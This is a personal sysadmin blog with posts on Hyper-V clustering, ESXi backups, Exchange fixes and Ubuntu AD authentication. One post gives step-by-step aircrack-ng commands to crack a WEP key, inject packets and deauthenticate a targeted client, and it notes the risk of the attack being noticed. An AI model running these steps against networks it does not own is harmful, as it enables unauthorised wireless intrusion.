Lugie's Tech Blog

Altaro Hyper-V Backup Review

2012-01-23T21:21:00.002-06:00

I've recently been trying to find some good easy software to backup hyper-v machines. I came across Altaro Hyper-V Backup and found it to be a very nice, simple and inexpensive piece of software to use.

It will backup live virtual machines from the host using Microsoft VSS. It will do delta backups which is the ability to backup only the changes of the virtual machine so you instead of backing up say a 20 gigabyte virtual machine it will only backup the 1gigabyte of changes.

Since it does delta backups, you can easily restore different versions of a VM.

You can have it scheduled to backup a select times on a schedule, and have a copy made to a second location. If you wanted to have an onsite backup and an offsite backup, the software easily allows you to do so. All virtual machines will be backed up to the same storage devices which may not be ideal for everyone.

The software makes it a snap to restore to a different host. There is also a "Fire Drill" feature that allows you to test your backup to make sure it is in good working order. This will save me loads of time on testing my backups.

Doing file level restores is a snap also. Restore files from any of your backups in a couple of clicks.

Last but not least, the software also support Windows Server Hyper-v and clustering, email reporting, backup history, and some statistics.

I'd probably give this software a 4.5 out of 5. There is no central management console, but I would rather take the ease of use over a complicated central management setup any day. The setup and use of the software could not get any easier. The learning curve was probably the least of any backup software I have ever used.

Since I'm a one man software shop I need software that is easy to use, requires little interaction, and gives updates when needed. This software definitely does that for me.

Hyper-V Cluster Failover

2012-01-23T20:44:00.000-06:00

For the last couple of months I've been working on getting our hyper-v server with ISCSI storage to failover to another server incase of hardware failure. I have found that this is not the easiest task to test. Since my IT budget is limited, and I had to make do with existing computers for the test environment, I ran in many, many issues.

For easy testing, I recommend using two computers that are identical. Otherwise, it is possible to use different hardware, you will just have to work through any quirks. The first test I did I was successful at using different hardware but on the second test I was not able to get the Cluster to work properly.

Required hardware:
2 Computers with processors with Virtualization support
Both computers need at least 2 NICs
Two switches, or switch with VLAN support (Need to seperate ISCSI from normal network)
ISCSI Server (I used a ReadyNAS 3200 for this example)
ISCSI server needs persistent reservation support
Windows Server 2008 R2 Enterprise or Windows Hyper-V server R2 (Free download)

Windows Server Setup
1. Install Windows Server on both computers. Note: I was able to use a combination of Windows Server 2008 R2 Enterprise and Windows Hyper-V Server 2008

ISCSI Setup
1. Create a Target. Then create a new lun which will act as the witness disk and only needs to be about 1gb.

2. Create a LUN under the target for each Virtual Machine you will run (In my case I had 6 virtual machines so I created 6 Luns). NOTE: Make sure each LUN has enough available space for the virtual machines you would like to host. You do not need to create multiple LUNs for one VM if it has more than one virtual hard disk.

3. Find the initiator name of both of your test computers. You can find it by opening the iSCSI Initiator Properties window under the Configuration tab. In Windows Hyper-V server type "iscsicpl" in the command prompt to open this window.

The Initiator names should be similar to the following: iqn.1991-05.com.microsoft:computerName.domain.com

4. On the ISCSI server, enable persistent reservation on each LUN and add the Initiator names of the Computers to the list.

5. Setup the network so that the iSCSI connections are running on a separate subnet as the normal traffic.

6. On both servers, use the iSCSI Initiator software to connect to the target.

7. Install the Failover Clustering features on both servers. In Server 2008 R2 go to Server Manager -> Add Features -> select "Failover Clustering". In Hyper-v, select option 11 from the sconfig.cmd window to enable these features. If you are only using Hyper-v for both servers, install Windows Remote Management Admin tools and enable the Failover Clustering Manager enable to manage the cluster.

8. In the Failover Cluster Manger window, you will need to first validate a cluster to make sure it will work. It will test for things like network setup, OS patches are the same on both servers, etc... If it passes you are good to start creating the cluster, otherwise, try to fix all the errors that show up. Since I setup one server with Hyper-V and the other as Server 2008 R2, I recieved an error there but had no problems creating the cluster anyways.

You will want to make sure all of the networking issues are sorted out before continuing.

9. Now create a Cluster. The wizard will ask for an IP address and then do all the magic, if it works :-) I had issues on one test setup where I couldn't use the manager to remove a cluster that failed on creation. There are ways to remove it via the command line but I can't remember right now what those are.

To finish setting up a virtual machine on the newley created cluster, there are several sites that show you how to do that. In particular I found a whitepaper that walks you every step of the way in creating a hyper-v cluster. http://www.aidanfinn.com/?p=11164

New Office

2011-06-01T15:54:00.002-05:00

Just wanted to share what my new office looks like. Since I'm the IT specialist, I get to play with all the new toys. Here we had just received 5 new monitors and computers so I though it would be cool to see how many monitors my computer would support. Unfortunately I could only get 5 24" screens to work on my computer.

Enjoy :-)

Reflections

2011-06-01T15:49:00.001-05:00

It's been a busy year for me. I've been taking lots of classes at the University of Arkansas and been working extra to get our companies network and server infrastructure upgraded. We have added some manufacturing space including offices, laboratories, and a bran new server room.

Before we had this new space, we had a shared closet with the university which was not ideal. Fortunately, they let me design and build a server room for our expanding facilities. There was a lot to learn setting everything up. I learned all about fiber so we could connect our two buildings with a high speed link. I learned that you need to be specific with your networking and electrical workers to make sure they get things right. I had the opportunity to build new servers and set up virtual machines using hyper-v technology. I learned all about VLANs and switching and setting up multiple SonicWall WAPs with our SonicWall firewall.

To say the least, I think I've learned just as much last year as I have any other year in my IT career. I've also been doing a lot programming in asp.net, Silverlight, WPF, SQL Server, and HTML/CSS.

I have also been doing some poster/banner design for the company. I'm not the biggest fan of doing it, but I can as long as I take some time to do it. I will definitely say that is my weak area, but I'm not concerned since I'm not that interested in it. When you work for a small company, you wear many hats.

So to put it simple, I have lots of knowledge in a little bit of everything.

On top of all of this work, my wife and I recently had a baby girl named Brooke. She has made things even busier for me, but has been wonderful addition to my life.

This has only been a really short summery of what has happened since my last post. I hope to catch up on some more tutorials or IT fixes soon. I will post an article on how to properly setup a Windows Server 2008 R2 cluster with ISCSI storage, since it has caused me a lot of headaches, long nights, and lots of frustration to say the least.

My Workspace

2010-03-27T22:14:00.002-05:00

I first have to say that I'm am blessed with a wonderful job. When I first started out at APEI, Inc. I had a single 17inch monitor. However, over time as the company has grown, we've been upgrading computers and monitors. In my job, I not only manage the computer systems and network, but I also program a lot as well. So having multiple monitors is great.

Tonight, I decided to rearrange and thief an extra 17inch monitor to see how cool I could make my workspace. I also want to see if using the monitors in this orientation will increase my productivity. Here is what I came up with and I am already liking it a lot more. I've found this setup to be awesome with Photoshop because I don't have to scroll around the screen anymore on an eight mega-pixel picture.

Now if we could get Microsoft to add functionality for automatically splitting windows to the top and bottom half of a screen then this would be perfect!

Enjoy.

IIS 7 Integrated Windows Login

2010-03-15T13:40:00.004-05:00

I have a website for the employees in the company I work for that uses Integrated Windows Login to pass credentials so that the employee doesn't need to type their password.

I ran into the problem today where random users on certain computers started receiving a popup login screen to enter their credentials. This would keep popping up and make Internet Explorer useless. No matter how many times you would enter your name and password, or even pressing cancel, the login would pop right back up, yet the webpage would still load under the login window.

As I was searching through forums, I found a solution. The application pool that the website was running under "ApplicationPoolIdentity". I changed that to "LocalSystem" and everything worked great again.

Now, it's still a mystery to me why the automatic login worked correctly for several weeks under the ApplicationPoolIdentity and then all the sudden decided to quit. If anyone has any ideas, I would love to know!

ESXi Server Backup to Windows Server 2008 R2 NFS

2010-03-05T16:13:00.001-06:00

So I've been working on transferring some of our servers to virtual servers because I've been having lots of trouble with our backups. My thought was that it will be a lot easier to restore a virtual machine than it will be otherwise. I really liked the features of VMwares ESXi 4.0 server. They have a program to convert a running machine into a Virutal machine and install it onto the ESXi server automagically.

The problem I ran into was backups. I needed a free way to backup my VMs. Through searching, I found a popular script called ghettoVCB.sh. The creator has lots of documentation so it is fairly easy to understand how to set it up. There was even a tutorial on how to set it up to backup to a Windows NFS share.

However, the Windows NFS share that I am using is Windows Server 2008 R2. The tutorial by Raj Perumal does not tell how to use the new Services for NFS that comes with Server 2008 R2. I will walk through the steps on how I got VMware ESXi to recognize the Server 2008 R2 NFS share.

First, go to the console of your ESXi server and follow the next steps.

Press Alt-F1
Type in the word "unsupported" and hit enter(No characters will show as you type the word)
Type in your root password
Edit inetd.conf by typing "vi /etc/inetd.conf"
Find the lines that has #ssh at the beginning and delete the '#' sign and save the file
Now you can reboot the ESXi server and you will have SSH access

Next, download and install the following programs

Putty.exe - SSH Program
Plink.exe - Command line utility which is used for scheduling scripts
WinSCP - Used to upload and download files between your ESXi server and workstation

Next, download ghettoVCB.sh and transfer the file to your ESXi box onto one of your datastores using WinSCP. Note: don't use the vSphere client to transfer this file to the datastore because it will add control characters into the file which will break the script. Also don't open the file on a windows machine which will do the same thing.

Also note that you need to store the file in your datastore because the ESXi server will erase it next time it restarts if not in the datastore. The path to your Datastore will be /vmfs/volumes/

After you have copied the script to this folder, create a new text file named whatever you want that contains a list of the virtual machine names as they are listed in your VMware client when you connect to your server. For example if you have three servers DC01, DC02, EXCHANGE01, then put those three names in the data file.

Next, we need to install "Services for Network File System(NFS)" onto our Server 2008 R2 box.

Open Server Manager and click "Add Roles", or "Add Role Services" under File Services Section if you already have the File Services role installed.
Select "File Services" and click next
Check "Services for Network File System" and click install
Once installed, create a folder where you want to store your backups
Right click on your newly created folder, click properties, and then click the NFS Sharing tab
Click Manage NFS Sharing and in the NFS Advance Sharing window, select Share this folder.
Leave all the defaults then click Permissions and add the name of your ESXi server to the list and check "Allow root access"
Now open vSphere Client and add a new datastore. Server name->Configuration tab->Storage link->Add Storage...
Under properties, enter the NFS server name. In the Folder box, enter the name of the share (ex "/backup"). In the Datastore Name, enter whatever you want and click Next then Finish.

Now you need to edit the ghettoVCB.sh file with vi (Enter "vi ghettoVCB.sh" in putty). The document is full of comments so it should be easy to setup.

Change the file permissions on the ghettoVCB.sh script to be executable ("chmod +x ghettoVCB.sh")

Now test the script by typing "ghettoVCB.sh -f serversList" into the ssh command line(Servers list is the file with the list of Virtual machines we created earlier)

Thoughts on Windows 7

2009-11-15T01:11:00.004-06:00

Ever since Microsoft came out with the beta for Windows 7 I have been testing it and running it on my work computer. There have been very few hiccups and no major problems since I’ve been testing it. I’ve installed Windows 7 on several Dell computer desktops, and a Dell laptop. We have a Toshiba tablet PC also that I’ve upgrade to Windows 7, and another custom built HTPC in our break room.

Over all, I will have to say I’m very impressed. The drivers that come packaged with Windows 7 makes setting it up a breeze. Also, when I have to install drivers, most of the time a simple click to update the device driver works! Never have I found that feature of any previous Windows useful.

My co-worker who sits next to me is a Mac fan all the way, but due to our software licensing at work, he has to use Windows. When Vista came out, I made the mistake of installing it on his machine. I never heard the end to cursing. So when Windows 7 came out I gave him the option to upgrade and he agreed. Now I rarely hear cursing due to his operating system.

On my work computer I have an Intel Dual Core 3.00GHz with 8 gigabytes of memory. The reason for so much memory is because I run virtual machines to test out the Windows operating systems, test new software we purchase for our engineers, and play around a little with Linux. I also do some web and software development so there are times when the memory gets close to full. Now, before I had Windows 7 on my work computer, I had Vista installed, which ran well, but the one thing I really disliked was the amount of time it took to restart or boot up my computer. Since I have so many applications installed on my work computer it took Vista about 6-8 minutes to restart. With Windows 7 it takes about half that time with the same software installed.

Now if you are thinking about upgrading to Windows 7 here are my suggestions. Make sure you have a Dual core processor with at least 2 GBs of memory. If you still have a single core processor with Windows XP then I would recommend saving up to upgrade your computer before you go to Windows 7. However, if you are already running Vista, then by all means you should upgrade. Windows 7 is Vista done right. Sure there are bugs in some older software but that can all be worked around and fixed. Right now you can get Windows 7 Professional for $30 if you are a student.

To further convince you that Windows 7 is amazing, I upgraded my home computer from Vista to Windows 7 without formatting the OS. It took an hour and a half and the only driver I had to reinstall was the Dell all-in-one printer driver. My computer is now much smoother and the visual UI effects are much better.

In summary, I cannot say enough good about the operating system. I highly recommend it. Use the new features and you will find a much better operating system. There are many sites out there that talk about the new features of Windows 7. Just give Google a search and you will find much.

Windows Firewall and non-secure FTP traffic

2009-06-30T15:30:00.003-05:00

I was recently trying to setup an FTP server on server 2008 and could not get it to work properly. Turns out, even though the firewall had allowed the ftp service I needed to open port 21. I accomplished this by running the two simple commands.

Windows firewall can be configured from command line using netsh command.

1) Open port 21 on the firewall

netsh advfirewall firewall add rule name="FTP (no SSL)" action=allow protocol=TCP dir=in localport=21

2) Activate firewall application filter for FTP (aka Stateful FTP) that will dynamically open ports for data connections

netsh advfirewall set global StatefulFtp enable

Server 2003 System Volume Information folder filling up hard drive

2009-03-20T15:15:00.002-05:00

So I have a VM with Microsoft Server 2003 running on it and the other day I noticed the hard drive only had 4gb of space left on it. So I went of to find what was going on. I found that the "System Volume Information" folder was being filled up by huge files which took 40gb of space! No wonder my backups were so big. So I searched and searched the internet and found this solution from the egghead cafe forum: Forum

There were other solutions I tried that did not work, one including turning off the system restore option which there is none in server 2003.

1. Open "My Computer".
2. Right click on the drive letter of the drive that is being filled, and click "Properties".
3. Open the "Shadow Copies" tab and click enable.
4. Then click Settings and set the use limit to something low like 300mb.
5. Now disable the setting. All of your files under the "System Volume Information" folder should be deleted.

Hope this helps someone! If you have any answers to why that folder might fill up in the first place and why enabling/disabling the Shadows Copies options deletes the files, please let me know.

Busy

2008-11-24T12:26:00.002-06:00

For the past couple of months I have been busy with different things and have neglected to post anything on my blog. I got maried a month ago tomorrow and have been settling in. School has been keeping me really busy as well. At work I have been working on creating a Silverlight 2.0 accordion control, similar to the asp.net ajax accordion control. I'm still fairly new at programming and programming techniques so once I finish it I will post a tutorial on how to create the control.

Till then, have a great Thanksgiving!!

Exchange Server 2007 Offline Address Book (OAB)

2008-09-22T11:20:00.008-05:00

When I came into work today, I found I hadn't completely fixed the error with my Offline Address Book. While the previous post fixed a major issue, I still had problems. All the users kept getting a pop up authentication box saying they needed to log on to the OAB. When I ran the previous fix, every thing started working. However, after a period of time, no set time, the Outlook clients would start asking for a user name and password.

It seems now, every time I restart the Web Service, the authentication works properly. Well, I just created a new Self-Certificate for the web service because I noticed that autodiscover.domain.com was not one of the domains in the certificate. I changed that and everything seems to be working fine so far.

To add more than one domain name to a certificate, I used the following Exchange Management Shell command to create a certificate request: New-ExchangeCertificate -DomainName Myserver.domain.net, autodiscover.domain.net, autodiscover.domain.com -GenerateRequest:$True -privatekeyExportable:$true

After that, I created the certificate with the local server certificate website and completed the request with IIS.

I guess I'll see if this fixes this for good, though for some reason I have doubt that it will fix the problem.

EDIT: 9/26/08
Ok, so I finally figured out a solution to my problem. I found out that the OAB virtual directory was supposed to be set to not require SSL. But, whenever I would change it to not require SSL, then the clients could not download the OAB at all. It would return this error:

8:46:40 Microsoft Exchange offline address book
8:46:40 0X80190194

So I did a little more searching with that error and found another solution on Dgoldman's weblog. (http://blogs.msdn.com/dgoldman/archive/2006/11/27/Error-0x80190194-when-using-an-outlook-2007-client-to-download-a-web-distribution-enabled-oab.aspx). What I did not realize was that the system replicated the OAB files from C:\Program Files\Microsoft\Exchange Server\ExchangeOAB to c:\Program Files\Microsoft\Exchange Server\Client Access\OAB\. So I checked the second folder, Client Access\OAB, and the files had replicated.

I figured it must be a permission problem since the files had been replicating. I created a new OAB to see what the permissions where and sure enough, they were different. On the original OAB the permissions had somehow gotten really messed up. The only permissions should be Administrators and System with full control. Once I fixed that, then the clients could sync perfectly without having to restart any services.

This is one more problem I can check off my list! I've been trying to fix this for over a month now so it will be a nice change to not worry about that.

EDIT: 9/26/08
Just kidding with the last. There is something seriously wrong here. The permissions were correct.

EDIT: 11/24/2008

I know it's been a while since I've updated this, but I actually fixed the problem a couple months ago. I finally had to convert the OAB virtual directory in IIS to an application and then it worked correctly. It still works today and I haven't had problems with the syncing anymore since then so I know this was a solution to my problem.

Offline address book Connecting to Microsoft Exchange

2008-09-16T14:52:00.004-05:00

Since I upgraded our Exchange Server to 2007, I've been having trouble with the Offline address book. The problem was that anyone using Outlook 2007 (never tried outlook 2003), whenever they pressed send and receive, it would hang on downloading the OAB. I tried everything out the wazoo that I could possibly think of.

Finally today, the problem has been fixed. I found a solution on this forum -http://forums.microsoft.com/technet/showpost.aspx?postid=2295580&siteid=17&sb=0&d=1&at=7&ft=11&tf=0&pageid=1

The very last posting states that they set the Default Web Site directory with a HTTP redirect and it applied it on the sub-folders including the OAB virtual directory. To fix the issue, I removed the HTTP redirect and set the right permissions for the webconfig file under the OAB directory.

If you browse to https://servername/oab/[code]/oab.xml you will get an error 500.

To fix, browse to the physical location on the server where the webconfig (c:/exchange/ClientAccess/OAB), right click the file and click properties. In the security tab, set read permissions for everyone.

That is it. After a month of this issue, I finally found a solution.

EDIT: 11/24/2008

See the next post for a real solution.

XML Database for ASP.NET Website

2008-08-28T16:21:00.008-05:00

So, I've been trying to make an asp.net webpage that uses an XML database. The database holds a link to a file as well as a title. The webpage is put links to the files specified on the page that will also sort the links by the title. In order to do that, I created an xml database similar to the one below.

xmlfile.xml
<main>
<section>
<mission>
<title>Credo</title>
<link>Mission/Credo.pdf</link>
</mission>
<mission>
<title>2008 First Quarter Message</title>
<link>Mission/2008_First_Quarter_Message.pdf</link>
</mission>
<mission>
<title>Keys to Success</title>
<link>Mission/KeystoSuccess.pdf</link>
</mission>
<mission>
<title>Master Project Schedule</title>
<link>Mission/All_Projects_July_07.zip</link>
</mission>
<mission>
<title>CEO Quarterly Letters*</title>
<link>file:\\\\\srv002\public\$hare\CEO Quarterly Messages</link>
</mission>
<mission>
<title>Mission Statement</title>
<link>Mission/MissionStatement.pdf</link>
</mission>
</section>

After creating the XML database, I created a webpage project in Visual Studio 2008 and imported the xmldatabase. I created a file "Default.aspx" and the code behind file "Default.aspx.cs".

First, I created an asp datalist control in the "Default.aspx" and created a template so that only the title showed for each link.

Default.aspx

<asp:DataList ID="DataList2" runat="server" >
lt;ItemTemplate>
<h4><a href='<%# Eval("link") %>' <%# Eval("title") %></a></h4>
</ItemTemplate>
</asp:DataList>

I had to add some code to get this working proberly. In order for the list to sort, I had to create a dataview, which has a sort method.

Default.aspx.cs

protected void Page_Load(object sender, EventArgs e)
{
DataSet ds = new DataSet();
ds.ReadXml(Server.MapPath("xmlfile.xml"));
DataView dv = new DataView(ds.Tables["apeimission"]);
dv.Sort = "title";
DataList2.DataSource = dv;
DataList2.DataBind();
}

Ultimately, I wanted to be able to add more links later w/o modifiying the actuall aspx file. Now I can jazz up the links with ajax, create more subsections under <section>. In the future, I will figure out how to create a program to add and remove entries from the database.

Microsoft Server 2008 Backup and Restore

2008-08-21T11:39:00.012-05:00

Server Configuration & Setup

I recently upgrade my Server 2003 to 2008 and exchange 2003 to 2007. For my backup solutions I have been using Ultrabac. They recently came out with a new version which said it supported Server 2008. So, based upon that statement, I figured it would work properly. However, the current version (8.30) will not backup Active Directory or the File Replication Service. I contacted an Ultrabac tech and they said they had engineers working on it. How they could have missed that in their testing I do not know.

So, I decided to try the built-in Windows Server Backup (WSB). WSB can do full system backups and will let you select which hard drives you want to back up. It is safe to exclude non-crucial drives such as a fileshare to make restore processes faster. To do a full restore to different hardware, you have to make sure the hardware is similar enough to allow it to boot. Also, for hard drives, for each logical drive on the original system, you need the same size or bigger to restore. The restore will not work to smaller drives even if the disk space used is less than the restore server drives.

For example, on my system, I have a raid system. For the OS, I have two hard drives using Raid 1 (Logical disk 1 - 30gb). For Active directory, Exchange, and extra storage I use three physical disk for Raid 5 (Logical disk 2 - 273gb). On Logical disk 1, I only have one partition for the OS. On logical disk 2 I have 3 partitions, one for Active Directory, one for Exchange, and one for a file share.

In order to restore to different hard drives, I had to have one physical or logical disk as larger or larger than 30gb and one physical or logical disk larger than 273gb.

Restore Server 2008 from Backup

1) To perform a full restore, boot from the Windows Server 2008 install DVD. Instead of installing the OS, there will be a "Repair your computer" option at the bottom left of the popup window. Click the link and choose the option "Windows Complete PC Restore".

The Windows Complete PC Restore (WCPCR) will search for a backup. If it is found, it will let you choose if you want the newest backup or an earlier one.

2) Choose the backup you would like to restore from. The program will wipe and format your drives no matter what option you select so go ahead follow the prompts and restore your operating system.

NOTE: A hany option is to exclude disk drives. If you happen to have extra drives that you do not want to restore to, you can exclude those ones. The program does not show you what drives it will restore to and how, it just does it automatically.

After Restore

When the computer boots for the first time after a restore, it normally takes about 15 mins for all the drivers to load if the hardware has changed. Once you gain use of the keyboard you should be able to login and check the services and which ones did not start. In my case, there was only one service that would not start, the Microsft Exchange System Attendant. In order for this to start do the following:

1. Make sure that you set the same static IP address on the new NIC. If you do not do this, then you will not be able to connect to your active directory.

2. Next, in Windows Explorer browse to //localhost/. Check to make sure there is a NETLOGON and a SYSVOL shared folder. If the folders are missing, continue on.

3. If the NETLOGON & SYSVOL share folders are missing, follow these steps:

a. Follow the steps 1-3 in this article under "Detailed list of steps" at http://support.microsoft.com/?id=315457

b. Start the FRS (File Replication Service).

c. Not sure if this is needed but, at the command promt type: ntfrsutl ds findstr /i "root stage" and press ENTER. It should find your folders.

NOTE: It may take a little for this to start working. You may also need to restart the server. You can tell if it is working when the NETLOGON & SYSVOL shared folders appear under //localhost.

d. Next, start the Microsoft Exchange System Attendant Service.

Exchange Management Console should now be working again.

Vista Networking Problems still a mystery

2008-06-09T09:58:00.005-05:00

I have a laptop running vista home premium and the network connection is not working at all on it anymore. This happens with both the wireless and wired network. The person who owns it says that it quit working about 6 months ago all the sudden.

When I got it, I was able to ping the internet but not able to browse it in either IE or Firefox. I turned off the firewall, but that didn’t make a difference. I tried changing the host file name to something else, restarting then change it back to host which only made it worse. After I did that, none of the adapters would even get an IP address. I tried setting a static IP and DNS server, but that did nothing. The wireless still connects, but won’t get an IP.

I’ve tried repairing and resetting the Vista TCP/IP Winstock as discussed here http://www.mydigitallife.info/2007/06/18/repair-and-reset-windows-vista-tcpip-winsock-catalog-corruption/ . But still nothing.

I’ve reinstalled the drivers, but still same problem. The network adapters won’t obtain a network address, and setting the static IP and DNS does nothing either.

I’m positive it is a vista problem b/c I booted with a live version of Ubuntu and the network and internet worked fine.

I didn’t know what else to do except reinstall vista but I didn't think I could do that because I don’t have a Toshiba OEM vista disk. I found a program online that will activate an OEM cd key with a retail version of vista which I was going to try, but I realized I had a copy of a Dell OEM Vista dvd. So I tried that for the heck of it and it worked perfectly! The only thing is the Toshiba has a dell logo in windows now :)

Hacking into a WEP wireless network

2008-05-30T16:31:00.007-05:00

Alot of the explination is taken from aircrack-ng.org. You can find full tutorials there and much more information.

Install Atheros Patch (ubuntu hardy, should work in fiesty)
note: any lines with a '#' mean it is to be entered into the terminal

1. # apt-get install build-essential
2. # apt-get install patch
3. # apt-get install subversion
4. # ifconfig ath0 down
5. # ifconfig wifi0 down
6. # svn -r 3480 checkout http://svn.madwifi.org/madwifi/trunk/ madwifi-ng
7. # wget http://patches.aircrack-ng.org/madwifi-ng-r3386v3.patch
8. # cd madwifi-ng
9. # patch -Np1 -i ../madwifi-ng-r3386v3.patch
10. # ./scripts/madwifi-unload
11. # make
12. # make install
13. # depmod -ae
14. # modprobe ath_pci

How Do I Put My Card into Monitor Mode?
# iwconfig
# airmon-ng stop ath0
# airmon-ng start wifi0

Simple sniffing and cracking
Discovering Networks

# airodump-ng ath0

“ath0” is the network interface (nic) name. If you are using a different WLAN device than a atheros chipset you'll have to use a different nic name..

Sniffing IVs

Because of the channel hopping you won't capture all packets from your target net. So we want to listen just on one channel and additionally write all data to disk to be able to use it for cracking:

# airodump-ng -c 11 --bssid 00:01:02:03:04:05 -w dump auth0

With the -c parameter you tune to a channel and the parameter after -w is the prefix to the network dumps written to disk. The ”--bssid” combined with the AP MAC address limits the capture to the one AP.

Before being able to crack WEP you'll usually need between 40 000 and 85 000 different Initialization Vectors (IVs). Every data packet contains an IV. IVs can be re-used, so the number of different IVs is usually a bit lower than the number of data packets captured.
So you'll have to wait and capture 40K to 85K of data packets (IVs). If the network is not busy it will take a very long time. Often you can speed it up a lot by using an active attack (=packet replay).

Cracking
If you've got enough IVs captured in one or more file, you can try to crack the WEP key:

# aircrack-ng -b 00:01:02:03:04:05 dump-01.cap

The MAC after the -b option is the BSSID of the target and dump-01.cap the file containing the captured packets. You can use multiple files, just add all their names or you can use a wildcard such as dump*.cap.

The number of IVs you need to crack a key is not fixed. This is because some IVs are weaker and leak more information about the key than others. Usually these weak IVs are randomly mixed in between the stonger ones. So if you are lucky, you can crack a key with only 20 000 IVs. But often this it not enough and aircrack-ng will run a long time (up to a week or even longer with a high fudge factor) and then tell you the key could not be cracked. If you have more IVs cracking can be done a lot faster and is usually done in a few minutes, or even seconds. Experience shows that 40 000 to 85 000 IVs is usually enough for cracking.

Active attacks
Injection support
The first step is to make sure packet injection really works with your card and driver. The easiest way to test it is the injection test attack. Make sure to perform this test prior to proceeding. Your card must be able to successfully inject in order to perform the following steps.
You'll need the BSSID (AP MAC) and ESSID (network name) of an AP that does not do MAC filtering (e.g. your own) and must be in range of the AP.

# aireplay-ng --fakeauth 0 -e "your network ESSID" -a 00:01:02:03:04:05 ath0

The value after -a is the BSSID of your AP. The value after –e is the name of the network. Eg. “myWireless”, not the mac address

If injection works you should see something like this:
12:14:06 Sending Authentication Request
12:14:06 Authentication successful
12:14:06 Sending Association Request12:14:07 Association successful :-)

Instead of “0”, try “6000 -o 1 -q 10”

The aggressive way

Most operating sytems clear the ARP cache on disconnection. If they want to send the next packet after reconnection (or just use DHCP), they have to send out ARP requests. So the idea is to disconnect a client and force it to reconnect to capture an ARP-request. A side-effect is that you can sniff the ESSID and possibly a keystream during reconnection too. This comes in handy if the ESSID of your target is hidden, or if it uses shared-key authentication.
Keep your airodump-ng and aireplay-ng running. Open another window and run a deauthentication attack:

# aireplay-ng --deauth 5 -a 00:01:02:03:04:05 -c 00:04:05:06:07:08 ath0

-a is the BSSID of the AP, -c the MAC of the targeted client.

Wait a few seconds and your arp replay should start running.

Most clients try to reconnect automatically. But the risk that someone recognizes this attack or at least attention is drawn to the stuff happening on the WLAN is higher than with other attacks.

WEP Hacking

2008-05-30T16:08:00.003-05:00

I started learning a little bit about security and decided to start with Hacking WEP.

Linux is the best OS for this stuff so I started out on my adventure with Ubuntu Hardy. My hardware setup was a Poweredge sc440 PD 2.8, 3gb ram, and a Netgear WG311T PCI wireless card.

It took me a while to figure out how to setup the card for monitor mode and patch new drivers for it. I went to aircrack-ng.org for the tutorial and many other sites, but always came back to aircrack website for the best help.

I finally got it to work after about 8 hours of playing around. I'm still fairly new to linux so the drivers slowed me down. I was able to crack my WEP wireless router in about 1 minute.

Backtrack is a linux distribution that I found today with tons of hacking and cracking programs already installed. It is totally free, and I was able to get to hacking right away without having to patch the wireless card. So if you want to avoid a lot of trouble download it here http://www.remote-exploit.org/backtrack.html.

I will post the instructions on how I successfully got my hacking to work in the next post for anyone interested. I also recommend going to other sites to read up on the wireless authentication to gain a better understanding. Aircrack-ng.org is a great site and points to other sources.

Server 2003 DHCP Client Reservation Script

2008-03-31T07:07:00.006-05:00

So I was trying to figure out how to create a script or a way to quickly add several clients to my dhcp server reservation list. I ended up not using a script, but you can easily create one from this.

I got the tutorial from 200trainers.com. This is a great source for administering the dhcp server by command prompt which includes

Dumping scopes and configurations from and existing DHCP server into a text file.

Creating a new scope.

Defining the range of the scope.

Adding options to the scope.

Assigning reservations for IP addresses.

Listing authorized DHCP servers and authorizing DHCP servers

Accidentally Delete Recycle Bin From Desktop

2008-03-15T10:33:00.003-05:00

I'm posting this because I deleted my Recycle Bin Icon from the desktop and needed it back later. I only tried this on Vista, but I'm sure it is pretty much the same or very similar to XP.

At first I tried just making a shortcut from the original recycle bin location, but that didn't work properly because it would not show the trash in the bin. So I had to edit the registry.

You need to open up regedit.exe and browse through these folders
HKEY_CURRENT_USER => Software => Microsoft => Windows => CurrentVersion => Explorer => HideDesktopIcons

There are two folders under HideDesktopIcons. Each have a key named "{645FF040-5081-101B-9F08-00AA002F954E}". Delete them and exit the program. Refresh your desktop and the recycle bin icon should reappear.

In searching for how to restore the Recycle Bin icon, I found this article on how to restore it if group policy hides it or if a program hides it from the whole computer. http://support.microsoft.com/kb/810869

Ubuntu Gutsy Authentication w/Active Directory

2008-01-22T17:46:00.006-06:00

I've finally done it. After months of trying to authenticate Ubuntu with our Windows 2003 servers, I finally got it working. My problem was that there were some good tutorials out there but never any that worked perfectly for me. So I had to figure out the bugs. Below is how I got mine to work.

Step 1. First install these packages
krb5-user
krb5-configure
winbind
samba

Step 2. Edit the /etc/krb5.conf file

Code:

[logging]
    default = FILE10000:/var/log/krb5lib.log
[libdefaults]
    ticket_lifetime = 24000
    default_realm = DOMAIN.INTERNAL
    default_tkt_enctypes = des3-hmac-sha1 des-cbc-crc
    default_tgs_enctypes = des3-hmac-sha1 des-cbc-crc
[realms]
    DOMAIN.INTERNAL = {
        kdc = domainserver.domain.internal
        admin_server = domainserver.domain.internal
        default_domain = DOMAIN.INTERNAL
}
[domain_realm]
    .domain.internal = DOMAIN.INTERNAL
    domain.internal = DOMAIN.INTERNAL

Step 3. Edit /etc/samba/smb.conf

Code:

[global]
        security = ads
        netbios name = CMHRG02
        realm = DOMAIN.INTERNAL
        password server = domainserver.domain.internal
        workgroup = DOMAIN
        idmap uid = 500-10000000
        idmap gid = 500-10000000
        winbind separator = +
        winbind enum users = no
        winbind enum groups = no
        winbind use default domain = yes
        template homedir = /home/%D/%U
        template shell = /bin/bash
        client use spnego = yes
        domain master = no

Step 4. Edit /etc/nsswitch.conf to look like the example below

Code:

passwd:         compat winbind
group:          compat winbind
shadow:         compat
hosts:          files dns wins
networks:       files
protocols:      db files
services:       db files
ethers:         db files
rpc:            db files
netgroup:       nis

Step 5: Modify the PAM settings

Code:

account sufficient pam_winbind.so
account required  pam_unix.so

Step 6) /etc/pam.d/common-auth should contain only the following lines

Code:

auth    sufficient      pam_winbind.so
auth    required        pam_unix.so nullok_secure use_first_pass

Step 7) Modify the /etc/pam.d/common-password file, so the max parameter is set to 50, similar to the one shown below

Code:

password   required   pam_unix.so nullok obscure min=4 max=50 md5

Step 8) Make sure the /etc/pam.d/common-session file contains the following line

Code:

session required        pam_mkhomedir.so umask=0022 skel=/etc/skel

Step 9: Make a directory to hold domain user home directories
Note: Use the value you put in the WORKGROUP tag of the /etc/samba/smb.conf file

Code:

mkdir /home/DOMAIN

Step 10: Edit the /etc/hosts file to look like below

Code:

127.0.0.1 ComputerName.domain.local localhost ComputerName

Step 11: Initialize Kerberos (notice the Uppercase for the domain name)

Code:

kinit domain_admin_account@DOMAIN.INTERNAL

Step 12) Next check to be sure you got a ticket from the domain controller

Code:

klist

Step 13: Join the system to the

Code:

sudo net ads join -U domainadminuser@DOMAIN.INTERNAL

